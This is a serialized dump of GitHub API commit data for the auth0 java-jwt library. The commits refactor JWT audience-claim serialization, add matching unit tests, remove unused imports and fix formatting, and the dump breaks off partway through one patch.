following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujW  }(jt  web-flowjv  J/jK  MDQ6VXNlcjE5ODY0NDQ3jx  4https://avatars.githubusercontent.com/u/19864447?v=4jz  h3ja  %https://api.github.com/users/web-flowjo  https://github.com/web-flowj}  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents](}(jI  (364bf598ac1da6305b95633e4d3e38933585e7b0ja  \https://api.github.com/repos/auth0/java-jwt/commits/364bf598ac1da6305b95633e4d3e38933585e7b0jo  Qhttps://github.com/auth0/java-jwt/commit/364bf598ac1da6305b95633e4d3e38933585e7b0u}(jI  (0dc9fd0a8da62b0a71e18c7b77fd536138755845ja  \https://api.github.com/repos/auth0/java-jwt/commits/0dc9fd0a8da62b0a71e18c7b77fd536138755845jo  Qhttps://github.com/auth0/java-jwt/commit/0dc9fd0a8da62b0a71e18c7b77fd536138755845uestats}(totalK	additionsK_	deletionsK"ufiles](}(jI  (8a86c04ac8fb0b2adede52416f8876e50d3c9739filename;lib/src/main/java/com/auth0/jwt/impl/PayloadSerializer.javastatusmodifiedj  K(j  KchangesKFblob_urlhttps://github.com/auth0/java-jwt/blob/971d6fa4c632c1b815d485fe4a63be76c439900e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaraw_urlhttps://github.com/auth0/java-jwt/raw/971d6fa4c632c1b815d485fe4a63be76c439900e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.java?ref=971d6fa4c632c1b815d485fe4a63be76c439900epatchX(  @@ -5,8 +5,7 @@
 import com.fasterxml.jackson.databind.ser.std.StdSerializer;
 
 import java.io.IOException;
-import java.util.Date;
-import java.util.Map;
+import java.util.*;
 
 /**
  * Jackson serializer implementation for converting into JWT Payload parts.
@@ -30,40 +29,51 @@ public void serialize(ClaimsHolder holder, JsonGenerator gen, SerializerProvider
 
         gen.writeStartObject();
         for (Map.Entry<String, Object> e : holder.getClaims().entrySet()) {
-            switch (e.getKey()) {
-                case PublicClaims.AUDIENCE:
-                    if (e.getValue() instanceof String) {
-                        gen.writeFieldName(e.getKey());
-                        gen.writeString((String) e.getValue());
-                        break;
-                    }
-                    String[] audArray = (String[]) e.getValue();
-                    if (audArray.length == 1) {
-                        gen.writeFieldName(e.getKey());
-                        gen.writeString(audArray[0]);
-                    } else if (audArray.length > 1) {
-                        gen.writeFieldName(e.getKey());
-                        gen.writeStartArray();
-                        for (String aud : audArray) {
-                            gen.writeString(aud);
-                        }
-                        gen.writeEndArray();
-                    }
-                    break;
-                default:
-                    gen.writeFieldName(e.getKey());
-                    if (e.getValue() instanceof Date) { // true for EXPIRES_AT, ISSUED_AT, NOT_BEFORE
-                        gen.writeNumber(dateToSeconds((Date) e.getValue()));
-                    } else {
-                        gen.writeObject(e.getValue());
-                    }
-                    break;
+            if (PublicClaims.AUDIENCE.equals(e.getKey())) {
+                writeAudience(gen, e);
+            } else {
+                gen.writeFieldName(e.getKey());
+                if (e.getValue() instanceof Date) { // true for EXPIRES_AT, ISSUED_AT, NOT_BEFORE
+                    gen.writeNumber(dateToSeconds((Date) e.getValue()));
+                } else {
+                    gen.writeObject(e.getValue());
+                }
             }
         }
 
         gen.writeEndObject();
     }
 
+    private void writeAudience(JsonGenerator gen, Map.Entry<String, Object> e) throws IOException {
+        if (e.getValue() instanceof String) {
+            gen.writeFieldName(e.getKey());
+            gen.writeString((String) e.getValue());
+        } else {
+            List<String> audArray = new ArrayList<>();
+            if (e.getValue() instanceof String[]) {
+                audArray = Arrays.asList((String[]) e.getValue());
+            } else if (e.getValue() instanceof List) {
+                List<?> audList = (List<?>) e.getValue();
+                for (Object aud : audList) {
+                    if (aud instanceof String) {
+                        audArray.add((String)aud);
+                    }
+                }
+            }
+            if (audArray.size() == 1) {
+                gen.writeFieldName(e.getKey());
+                gen.writeString(audArray.get(0));
+            } else if (audArray.size() > 1) {
+                gen.writeFieldName(e.getKey());
+                gen.writeStartArray();
+                for (String aud : audArray) {
+                    gen.writeString(aud);
+                }
+                gen.writeEndArray();
+            }
+        }
+    }
+
     private long dateToSeconds(Date date) {
         return date.getTime() / 1000;
     }u}(jI  (3ebc29dd770df4bf0b998669c1fc7683a3a38371j  ?lib/src/test/java/com/auth0/jwt/impl/PayloadSerializerTest.javaj  modifiedj  K7j  Kj  K;j  https://github.com/auth0/java-jwt/blob/971d6fa4c632c1b815d485fe4a63be76c439900e/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.javaj  https://github.com/auth0/java-jwt/raw/971d6fa4c632c1b815d485fe4a63be76c439900e/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.java?ref=971d6fa4c632c1b815d485fe4a63be76c439900ej  X
  @@ -9,10 +9,7 @@
 import org.junit.Test;
 
 import java.io.StringWriter;
-import java.util.Arrays;
-import java.util.Date;
-import java.util.HashMap;
-import java.util.Map;
+import java.util.*;
 
 import static org.hamcrest.Matchers.*;
 import static org.junit.Assert.assertThat;
@@ -80,6 +77,60 @@ public void shouldSkipSerializationOnEmptyAudience() throws Exception {
         assertThat(writer.toString(), is(equalTo("{}")));
     }
 
+    @Test
+    public void shouldSerializeSingleItemAudienceAsArrayWhenAList() throws Exception {
+        ClaimsHolder holder = holderFor("aud", Collections.singletonList("auth0"));
+        serializer.serialize(holder, jsonGenerator, serializerProvider);
+        jsonGenerator.flush();
+
+        assertThat(writer.toString(), is(equalTo("{\"aud\":\"auth0\"}")));
+    }
+
+    @Test
+    public void shouldSerializeMultipleItemsAudienceAsArrayWhenAList() throws Exception {
+        ClaimsHolder holder = holderFor("aud", Arrays.asList("auth0", "auth10"));
+        serializer.serialize(holder, jsonGenerator, serializerProvider);
+        jsonGenerator.flush();
+
+        assertThat(writer.toString(), is(equalTo("{\"aud\":[\"auth0\",\"auth10\"]}")));
+    }
+
+    @Test
+    public void shouldSkipSerializationOnEmptyAudienceWhenList() throws Exception {
+        ClaimsHolder holder = holderFor("aud", new ArrayList());
+        serializer.serialize(holder, jsonGenerator, serializerProvider);
+        jsonGenerator.flush();
+
+        assertThat(writer.toString(), is(equalTo("{}")));
+    }
+
+    @Test
+    public void shouldSkipNonStringsOnAudienceWhenSingleItemList() throws Exception {
+        ClaimsHolder holder = holderFor("aud", Collections.singletonList(2));
+        serializer.serialize(holder, jsonGenerator, serializerProvider);
+        jsonGenerator.flush();
+
+        assertThat(writer.toString(), is(equalTo("{}")));
+    }
+
+    @Test
+    public void shouldSkipNonStringsOnAudienceWhenList() throws Exception {
+        ClaimsHolder holder = holderFor("aud", Arrays.asList("auth0", 2, "auth10"));
+        serializer.serialize(holder, jsonGenerator, serializerProvider);
+        jsonGenerator.flush();
+
+        assertThat(writer.toString(), is(equalTo("{\"aud\":[\"auth0\",\"auth10\"]}")));
+    }
+
+    @Test
+    public void shouldSkipNonStringsOnAudience() throws Exception {
+        ClaimsHolder holder = holderFor("aud", 4);
+        serializer.serialize(holder, jsonGenerator, serializerProvider);
+        jsonGenerator.flush();
+
+        assertThat(writer.toString(), is(equalTo("{}")));
+    }
+
     @Test
     public void shouldSerializeNotBeforeDateInSeconds() throws Exception {
         ClaimsHolder holder = holderFor("nbf", new Date(1478874000));ueu(e3e9341acd44b018085375c5b3922a0abc118d5f}(sha(e3e9341acd44b018085375c5b3922a0abc118d5fnode_idEC_kwDOAQtL0doAKGUzZTkzNDFhY2Q0NGIwMTgwODUzNzVjNWIzOTIyYTBhYmMxMThkNWYcommit}(author}(nameCodeDeademailadmin@codedead.comdate2022-11-25T21:44:07Zu	committer}(jԻ  CodeDeadjֻ  admin@codedead.comjػ  2022-11-25T21:44:07ZumessageRemoved unused importstree}(j̻  (5dbf44d1f6c70f2786b04ec3caa595ebe8d243d2url^https://api.github.com/repos/auth0/java-jwt/git/trees/5dbf44d1f6c70f2786b04ec3caa595ebe8d243d2uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/e3e9341acd44b018085375c5b3922a0abc118d5f
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/e3e9341acd44b018085375c5b3922a0abc118d5fhtml_urlQhttps://github.com/auth0/java-jwt/commit/e3e9341acd44b018085375c5b3922a0abc118d5fcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/e3e9341acd44b018085375c5b3922a0abc118d5f/commentsjһ  }(loginCodeDeadidJҝ jλ  MDQ6VXNlcjE2MjkzMzMw
avatar_url4https://avatars.githubusercontent.com/u/16293330?v=4gravatar_idh3j  %https://api.github.com/users/CodeDeadj  https://github.com/CodeDead
followers_url/https://api.github.com/users/CodeDead/followers
following_url<https://api.github.com/users/CodeDead/following{/other_user}	gists_url5https://api.github.com/users/CodeDead/gists{/gist_id}starred_url<https://api.github.com/users/CodeDead/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/CodeDead/subscriptionsorganizations_url*https://api.github.com/users/CodeDead/orgs	repos_url+https://api.github.com/users/CodeDead/repos
events_url6https://api.github.com/users/CodeDead/events{/privacy}received_events_url5https://api.github.com/users/CodeDead/received_eventstypeUser
site_adminujڻ  }(j  CodeDeadj  Jҝ jλ  MDQ6VXNlcjE2MjkzMzMwj  4https://avatars.githubusercontent.com/u/16293330?v=4j  h3j  %https://api.github.com/users/CodeDeadj  https://github.com/CodeDeadj  /https://api.github.com/users/CodeDead/followersj   <https://api.github.com/users/CodeDead/following{/other_user}j  5https://api.github.com/users/CodeDead/gists{/gist_id}j  <https://api.github.com/users/CodeDead/starred{/owner}{/repo}j  3https://api.github.com/users/CodeDead/subscriptionsj  *https://api.github.com/users/CodeDead/orgsj
  +https://api.github.com/users/CodeDead/reposj  6https://api.github.com/users/CodeDead/events{/privacy}j  5https://api.github.com/users/CodeDead/received_eventsj  Userj  uparents]}(j̻  (c853a7638d3cfeebbf4413fed4021ca415469ce8j  \https://api.github.com/repos/auth0/java-jwt/commits/c853a7638d3cfeebbf4413fed4021ca415469ce8j  Qhttps://github.com/auth0/java-jwt/commit/c853a7638d3cfeebbf4413fed4021ca415469ce8uastats}(totalK	additionsK 	deletionsKufiles](}(j̻  (32ede1de99417dd4fb2139cafdd833913d361c56filename9lib/src/test/java/com/auth0/jwt/ConcurrentVerifyTest.javastatusmodifiedj,  K j-  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/e3e9341acd44b018085375c5b3922a0abc118d5f/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/e3e9341acd44b018085375c5b3922a0abc118d5f/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.java?ref=e3e9341acd44b018085375c5b3922a0abc118d5fpatchX  @@ -10,14 +10,11 @@
 import org.junit.rules.ExpectedException;
 
 import java.security.interfaces.ECKey;
-import java.security.interfaces.ECPrivateKey;
-import java.security.interfaces.ECPublicKey;
 import java.security.interfaces.RSAKey;
 import java.util.Collections;
 import java.util.List;
 import java.util.concurrent.*;
 
-import static com.auth0.jwt.PemUtils.readPrivateKeyFromFile;
 import static com.auth0.jwt.PemUtils.readPublicKeyFromFile;
 
 //@Ignore("Skipping concurrency tests")u}(j̻  (8fc83b44da878b33d6d303efeaa9492b4387a2eaj2  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj4  modifiedj,  K j-  Kj6  Kj7  https://github.com/auth0/java-jwt/blob/e3e9341acd44b018085375c5b3922a0abc118d5f/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj9  https://github.com/auth0/java-jwt/raw/e3e9341acd44b018085375c5b3922a0abc118d5f/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj;  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=e3e9341acd44b018085375c5b3922a0abc118d5fj=  XM  @@ -16,9 +16,7 @@
 
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
-import static org.mockito.ArgumentMatchers.eq;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.when;
 u}(j̻  (9b6ac0c06f21d8ca1b4ad11b07096d0c414747faj2  Alib/src/test/java/com/auth0/jwt/algorithms/HMACAlgorithmTest.javaj4  modifiedj,  K j-  Kj6  Kj7  https://github.com/auth0/java-jwt/blob/e3e9341acd44b018085375c5b3922a0abc118d5f/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.javaj9  https://github.com/auth0/java-jwt/raw/e3e9341acd44b018085375c5b3922a0abc118d5f/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.javaj;  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.java?ref=e3e9341acd44b018085375c5b3922a0abc118d5fj=  XD  @@ -13,7 +13,6 @@
 import java.nio.charset.StandardCharsets;
 import java.security.InvalidKeyException;
 import java.security.NoSuchAlgorithmException;
-import java.util.Arrays;
 
 import static com.auth0.jwt.algorithms.CryptoTestHelper.asJWT;
 import static com.auth0.jwt.algorithms.CryptoTestHelper.assertSignaturePresent;ueu(dff64ea5096e68c1021e961a292086076bf9678e}(sha(dff64ea5096e68c1021e961a292086076bf9678enode_idEC_kwDOAQtL0doAKGRmZjY0ZWE1MDk2ZTY4YzEwMjFlOTYxYTI5MjA4NjA3NmJmOTY3OGUcommit}(author}(nameAntónio Pedro Santosemailaps@dnxt.ptdate2022-09-26T05:01:11Zu	committer}(jY  António Pedro Santosj[  aps@dnxt.ptj]  2022-09-26T05:01:11ZumessageFix source formattingtree}(jQ  (594aeb33cb3ce347bc88382170a2094fc07524caurl^https://api.github.com/repos/auth0/java-jwt/git/trees/594aeb33cb3ce347bc88382170a2094fc07524cauji  `https://api.github.com/repos/auth0/java-jwt/git/commits/dff64ea5096e68c1021e961a292086076bf9678e
comment_countK verification}(verifiedreasonvalid	signature-----BEGIN PGP SIGNATURE-----

iHUEABYKAB0WIQS/x9KuztyA3mLS2S8QJVoVuKaCBgUCYzEyFwAKCRAQJVoVuKaC
BsJXAP0f2iGIDgjgTKmcAMhIFxFOyRAvponfBS+P4IGiG95LHAD/Ynu3Kn780XDF
NYRusrgekTCoogh+fw+48rgb2wmTeAc=
=qvY2
-----END PGP SIGNATURE-----payloadtree 594aeb33cb3ce347bc88382170a2094fc07524ca
parent 3fc6a62af8e7487f4f84003cfacb75894b0389ef
author António Pedro Santos <aps@dnxt.pt> 1664168471 +0100
committer António Pedro Santos <aps@dnxt.pt> 1664168471 +0100

Fix source formatting
uuji  \https://api.github.com/repos/auth0/java-jwt/commits/dff64ea5096e68c1021e961a292086076bf9678ehtml_urlQhttps://github.com/auth0/java-jwt/commit/dff64ea5096e68c1021e961a292086076bf9678ecomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/dff64ea5096e68c1021e961a292086076bf9678e/commentsjW  }(loginaps-dnxtidJjS  MDQ6VXNlcjc3NDYxNDA0
avatar_url4https://avatars.githubusercontent.com/u/77461404?v=4gravatar_idh3ji  %https://api.github.com/users/aps-dnxtjw  https://github.com/aps-dnxt
followers_url/https://api.github.com/users/aps-dnxt/followers
following_url<https://api.github.com/users/aps-dnxt/following{/other_user}	gists_url5https://api.github.com/users/aps-dnxt/gists{/gist_id}starred_url<https://api.github.com/users/aps-dnxt/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/aps-dnxt/subscriptionsorganizations_url*https://api.github.com/users/aps-dnxt/orgs	repos_url+https://api.github.com/users/aps-dnxt/repos
events_url6https://api.github.com/users/aps-dnxt/events{/privacy}received_events_url5https://api.github.com/users/aps-dnxt/received_eventstypeUser
site_adminuj_  }(j|  aps-dnxtj~  JjS  MDQ6VXNlcjc3NDYxNDA0j  4https://avatars.githubusercontent.com/u/77461404?v=4j  h3ji  %https://api.github.com/users/aps-dnxtjw  https://github.com/aps-dnxtj  /https://api.github.com/users/aps-dnxt/followersj  <https://api.github.com/users/aps-dnxt/following{/other_user}     j  5https://api.github.com/users/aps-dnxt/gists{/gist_id}j  <https://api.github.com/users/aps-dnxt/starred{/owner}{/repo}j  3https://api.github.com/users/aps-dnxt/subscriptionsj  *https://api.github.com/users/aps-dnxt/orgsj  +https://api.github.com/users/aps-dnxt/reposj  6https://api.github.com/users/aps-dnxt/events{/privacy}j  5https://api.github.com/users/aps-dnxt/received_eventsj  Userj  uparents]}(jQ  (3fc6a62af8e7487f4f84003cfacb75894b0389efji  \https://api.github.com/repos/auth0/java-jwt/commits/3fc6a62af8e7487f4f84003cfacb75894b0389efjw  Qhttps://github.com/auth0/java-jwt/commit/3fc6a62af8e7487f4f84003cfacb75894b0389efuastats}(totalK	additionsK_	deletionsKKufiles](}(jQ  (f2a1b84aa34f82f8b659c22dff7047cb2d112817filename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedj  K	j  KchangesK
blob_urlhttps://github.com/auth0/java-jwt/blob/dff64ea5096e68c1021e961a292086076bf9678e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/dff64ea5096e68c1021e961a292086076bf9678e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=dff64ea5096e68c1021e961a292086076bf9678epatchX/  @@ -3,7 +3,10 @@
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.exceptions.JWTCreationException;
 import com.auth0.jwt.exceptions.SignatureGenerationException;
-import com.auth0.jwt.impl.*;
+import com.auth0.jwt.impl.HeaderClaimsHolder;
+import com.auth0.jwt.impl.HeaderSerializer;
+import com.auth0.jwt.impl.PayloadClaimsHolder;
+import com.auth0.jwt.impl.PayloadSerializer;
 import com.fasterxml.jackson.core.JsonProcessingException;
 import com.fasterxml.jackson.databind.MapperFeature;
 import com.fasterxml.jackson.databind.ObjectMapper;
@@ -560,16 +563,17 @@ public String sign(Algorithm algorithm) throws IllegalArgumentException, JWTCrea
         public String sign(Algorithm algorithm, String providerName)
                 throws IllegalArgumentException, JWTCreationException, NoSuchProviderException {
             Provider provider = Security.getProvider(providerName);
-            if (provider == null)
+            if (provider == null) {
                 throw new NoSuchProviderException(String.format("No provider named [%s] installed", providerName));
+            }
 
             return new JWTCreator(algorithm, headerClaims, payloadClaims).sign(provider);
         }
 
         /**
          * Creates a new JWT and signs is with the given algorithm.
          *
-         * @param algorithm    used to sign the JWT
+         * @param algorithm      used to sign the JWT
          * @param cryptoProvider the provider to use for crypto operations
          * @return a new JWT token
          * @throws IllegalArgumentException if the provided algorithm is null.
@@ -613,8 +617,9 @@ private String sign() throws SignatureGenerationException {
 
     private String sign(String providerName) throws SignatureGenerationException, NoSuchProviderException {
         Provider provider = Security.getProvider(providerName);
-        if (provider == null)
+        if (provider == null) {
             throw new NoSuchProviderException(String.format("No provider named [%s] installed", providerName));
+        }
 
         return this.sign(provider);
     }u}(jQ  (da5e70871bb67e0d5a4c9ee48acaa3a9e37014d8j  9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/dff64ea5096e68c1021e961a292086076bf9678e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/dff64ea5096e68c1021e961a292086076bf9678e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaj¼  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=dff64ea5096e68c1021e961a292086076bf9678ejļ  X
  @@ -9,7 +9,6 @@
 import java.security.NoSuchProviderException;
 import java.security.Provider;
 import java.security.Security;
-import java.security.SignatureException;
 import java.security.interfaces.*;
 
 /**
@@ -23,6 +22,11 @@ public abstract class Algorithm {
     private final String name;
     private final String description;
 
+    protected Algorithm(String name, String description) {
+        this.name = name;
+        this.description = description;
+    }
+
     /**
      * Creates a new Algorithm instance using SHA256withRSA. Tokens specify this as "RS256".
      *
@@ -209,7 +213,6 @@ public static Algorithm HMAC512(byte[] secret) throws IllegalArgumentException {
         return new HMACAlgorithm("HS512", "HmacSHA512", secret);
     }
 
-
     /**
      * Creates a new Algorithm instance using SHA256withECDSA. Tokens specify this as "ES256".
      *
@@ -318,16 +321,10 @@ public static Algorithm ECDSA512(ECKey key) throws IllegalArgumentException {
         return ECDSA512(publicKey, privateKey);
     }
 
-
     public static Algorithm none() {
         return new NoneAlgorithm();
     }
 
-    protected Algorithm(String name, String description) {
-        this.name = name;
-        this.description = description;
-    }
-
     /**
      * Getter for the Id of the Private Key used to sign the tokens.
      * This is usually specified as the `kid` claim in the Header.
@@ -380,14 +377,15 @@ public String toString() {
      * @throws SignatureVerificationException if the Token's Signature is invalid,
      *                                        meaning that it doesn't match the signatureBytes,
      *                                        or if the Key is invalid.
-     * @throws NoSuchProviderException if a provider with the given name is not registered
+     * @throws NoSuchProviderException        if a provider with the given name is not registered
      */
 
     public void verify(DecodedJWT jwt, String providerName)
             throws SignatureVerificationException, NoSuchProviderException {
         Provider provider = Security.getProvider(providerName);
-        if (provider == null)
+        if (provider == null) {
             throw new NoSuchProviderException(String.format("No provider named [%s] installed", providerName));
+        }
 
         this.verify(jwt, provider);
     }
@@ -440,8 +438,9 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
     public byte[] sign(byte[] headerBytes, byte[] payloadBytes, String providerName)
             throws SignatureGenerationException, NoSuchProviderException {
         Provider provider = Security.getProvider(providerName);
-        if (provider == null)
+        if (provider == null) {
             throw new NoSuchProviderException(String.format("No provider named [%s] installed", providerName));
+        }
 
         return sign(headerBytes, payloadBytes, provider);
     }
@@ -494,8 +493,9 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes, Provider cryptoProvi
     public byte[] sign(byte[] contentBytes, String providerName)
             throws SignatureGenerationException, NoSuchProviderException {
         Provider provider = Security.getProvider(providerName);
-        if (provider == null)
+        if (provider == null) {
             throw new NoSuchProviderException(String.format("No provider named [%s] installed", providerName));
+        }
 
         return this.sign(contentBytes, provider);
     }u}(jQ  (2cf11a76ab646719e72fdaaf7189c76a756f6a6aj  <lib/src/main/java/com/auth0/jwt/algorithms/CryptoHelper.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/dff64ea5096e68c1021e961a292086076bf9678e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.javaj  https://github.com/auth0/java-jwt/raw/dff64ea5096e68c1021e961a292086076bf9678e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.javaj¼  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.java?ref=dff64ea5096e68c1021e961a292086076bf9678ejļ  XL  @@ -61,8 +61,9 @@ boolean verifySignatureFor(
             String providerName
     ) throws NoSuchAlgorithmException, InvalidKeyException, NoSuchProviderException {
         Provider provider = Security.getProvider(providerName);
-        if (provider == null)
+        if (provider == null) {
             throw new NoSuchProviderException(String.format("No provider named [%s] installed", providerName));
+        }
 
         return this.verifySignatureFor(algorithm, secretBytes,
                 header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8), signatureBytes, provider);
@@ -141,8 +142,9 @@ boolean verifySignatureFor(
             String providerName
     ) throws NoSuchAlgorithmException, InvalidKeyException, NoSuchProviderException {
         Provider provider = Security.getProvider(providerName);
-        if (provider == null)
+        if (provider == null) {
             throw new NoSuchProviderException(String.format("No provider named [%s] installed", providerName));
+        }
 
         return MessageDigest.isEqual(createSignatureFor(algorithm, secretBytes, headerBytes, payloadBytes, provider),
                 signatureBytes);
@@ -219,8 +221,9 @@ boolean verifySignatureFor(
             String providerName
     ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException, NoSuchProviderException {
         Provider provider = Security.getProvider(providerName);
-        if (provider == null)
+        if (provider == null) {
             throw new NoSuchProviderException(String.format("No provider named [%s] installed", providerName));
+        }
 
         return verifySignatureFor(algorithm, publicKey, header.getBytes(StandardCharsets.UTF_8),
                 payload.getBytes(StandardCharsets.UTF_8), signatureBytes, provider);
@@ -296,8 +299,9 @@ boolean verifySignatureFor(
             String providerName
     ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException, NoSuchProviderException {
         Provider provider = Security.getProvider(providerName);
-        if (provider == null)
+        if (provider == null) {
             throw new NoSuchProviderException(String.format("No provider named [%s] installed", providerName));
+        }
 
         return this.verifySignatureFor(algorithm, publicKey, headerBytes, payloadBytes, signatureBytes, provider);
     }
@@ -374,8 +378,9 @@ byte[] createSignatureFor(
             String providerName
     ) throws NoSuchAlgorithmException, InvalidKeyException, NoSuchProviderException, SignatureException {
         Provider provider = Security.getProvider(providerName);
-        if (provider == null)
+        if (provider == null) {
             throw new NoSuchProviderException(String.format("No provider named [%s] installed", providerName));
+        }
 
         return this.createSignatureFor(algorithm, privateKey, headerBytes, payloadBytes, provider);
     }
@@ -455,8 +460,9 @@ byte[] createSignatureFor(
             String providerName
     ) throws NoSuchAlgorithmException, InvalidKeyException, NoSuchProviderException {
         Provider provider = Security.getProvider(providerName);
-        if (provider == null)
+        if (provider == null) {
             throw new NoSuchProviderException(String.format("No provider named [%s] installed", providerName));
+        }
 
         return this.createSignatureFor(algorithm, secretBytes, headerBytes, payloadBytes,
                 provider);
@@ -521,8 +527,9 @@ byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] contentBy
     byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] contentBytes, String providerName)
             throws NoSuchAlgorithmException, InvalidKeyException, SignatureException, NoSuchProviderException {
         Provider provider = Security.getProvider(providerName);
-        if (provider == null)
+        if (provider == null) {
             throw new NoSuchProviderException(String.format("No provider named [%s] installed", providerName));
+        }
 
         return this.createSignatureFor(algorithm, secretBytes, contentBytes, provider);
     }
@@ -566,8 +573,9 @@ byte[] createSignatureFor(
             String providerName
     ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException, NoSuchProviderException {
         Provider provider = Security.getProvider(providerName);
-        if (provider == null)
+        if (provider == null) {
             throw new NoSuchProviderException(String.format("No provider named [%s] installed", providerName));
+        }
 
         return this.createSignatureFor(algorithm, privateKey, contentBytes, provider);
     }u}(jQ  (aa5256e4ee754dffe4cb4bccfcc9ccba366dacc7j  >lib/src/main/java/com/auth0/jwt/algorithms/ECDSAAlgorithm.javaj  modifiedj  Kj  Kj  K3j  https://github.com/auth0/java-jwt/blob/dff64ea5096e68c1021e961a292086076bf9678e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/dff64ea5096e68c1021e961a292086076bf9678e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaj¼  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.java?ref=dff64ea5096e68c1021e961a292086076bf9678ejļ  X0	  @@ -6,7 +6,10 @@
